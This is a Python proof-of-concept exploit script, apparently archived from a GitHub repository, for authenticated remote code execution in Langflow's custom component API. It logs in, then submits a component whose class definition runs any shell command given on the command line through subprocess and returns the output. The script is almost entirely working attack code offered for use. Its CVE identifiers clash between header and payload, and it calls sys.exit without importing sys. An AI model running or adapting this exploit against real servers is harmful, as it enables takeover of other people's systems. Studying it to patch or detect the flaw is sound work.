# Archived for authorized security research only.
# Source: https://github.com/rmhowe425/POC-CVE-2026-107328 (see README for attribution/license)
# Exploit Title: Langflow AI Authenticated RCE via Unsafe Execution of Class Definitions in Custom Component API
# Exploit Author: Richard Howe <rhowe425@gmail.com>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Tested on: Ubuntu 22.04, Langflow version 1.10.0


import argparse
import requests

TIMEOUT = 15


def authenticate(base_url: str, username: str, password: str) -> dict:
    try:
        r = requests.post(
            f"{base_url}/api/v1/login",
            data={"username": username, "password": password},
            timeout=TIMEOUT,
        )
        r_json = r.json()
    except Exception as e:
        raise RuntimeError(f"Unable to authenticate with Langflow: {e}")

    if r.status_code != 200 or not r_json.get("access_token"):
        print(f"[!] Login failed: HTTP {r.status_code} - {r.text}")
        sys.exit(1)

    return {"Authorization": f"Bearer {r_json['access_token']}"}


def trigger(base_url: str, auth: dict, command: str | None = None):
    if command is None:
        # Blind confirmation probe — no top-level Assign, execution is
        # entirely via the _Trigger ClassDef body.
        CODE = """\
from langflow.custom import Component
from langflow.io import Output

class _Trigger:
    _rce = 1 / 0

class PwnComponent(Component):
    display_name = "CVE-2026-18729-Probe"
    name = "PwnComponent"
    outputs = [Output(display_name="Out", name="out", method="run")]

    def run(self):
        return "triggered"
"""
    else:
        CODE = f"""\
import subprocess as _sp

from langflow.custom import Component
from langflow.io import Output

class _Trigger:
    _rce = _sp.check_output(
        {command!r},
        shell=True,
        stderr=_sp.STDOUT,
    ).decode(errors="replace").strip()

class PwnComponent(Component):
    display_name = "CVE-2026-18729-Probe"
    name = "PwnComponent"
    outputs = [Output(display_name="Out", name="out", method="run")]

    def run(self):
        return _Trigger._rce
"""

    try:
        r = requests.post(
            f"{base_url}/api/v1/custom_component",
            json={"code": CODE, "frontend_node": {}},
            headers=auth,
            timeout=30,
        )
        resp = r.json()
    except Exception as e:
        raise RuntimeError(f"Unable to trigger vulnerability: {e}")

    print(f"[+] Response HTTP {r.status_code}")
    print(resp)


def main():
    parser = argparse.ArgumentParser(description="Langflow AI Authenticated RCE via Unsafe Execution of Class Definitions in Custom Component API")
    parser.add_argument("-url", "--url", required=True, help="Target URL, e.g. http://192.168.1.30:7860")
    parser.add_argument("-uname", "--username", required=True, help="Langflow username")
    parser.add_argument("-pword", "--password", required=True, help="Langflow password")
    parser.add_argument("-c", "--command", required=False, default=None, help="OS command to execute on the server (omit for blind probe)")
    args = parser.parse_args()

    # Authenticate with Langflow target.
    print(f"[+] Authenticating as {args.username}")
    auth = authenticate(base_url=args.url, username=args.username, password=args.password)

    # Trigger vulnerability
    print("[+] Triggering vulnerability: POST /api/v1/custom_component")
    trigger(base_url=args.url, auth=auth, command=args.command)


main()
